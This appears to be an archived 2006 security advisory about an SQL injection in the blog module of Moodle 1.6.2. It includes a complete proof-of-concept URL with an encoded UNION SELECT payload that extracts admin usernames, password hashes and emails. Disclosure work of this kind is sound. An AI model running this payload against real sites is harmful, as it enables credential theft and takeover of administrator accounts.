Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14606
HistoryOct 09, 2006 - 12:00 a.m.

SQL injection - moodle

2006-10-0900:00:00
vulners.com
44

/****************************************/
http://www.w4cking.com

Product:
moodle 1.6.2
http://www.moodle.org

Vulnerability:
SQL injection

Notes:

  • SQL injection can be used to obtain password hash
  • the moodle blog "module" must be enabled
  • guest access to the blog must be enabled

POC:
<target>/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20SELECT%201,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email%20FROM%20mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20mdl_user.id%3dmdl_user_admins.userid%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20mdl_user%20u%20WHERE%201%3D0%2527,1,1,%25271

Original advisory (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1305
/****************************************/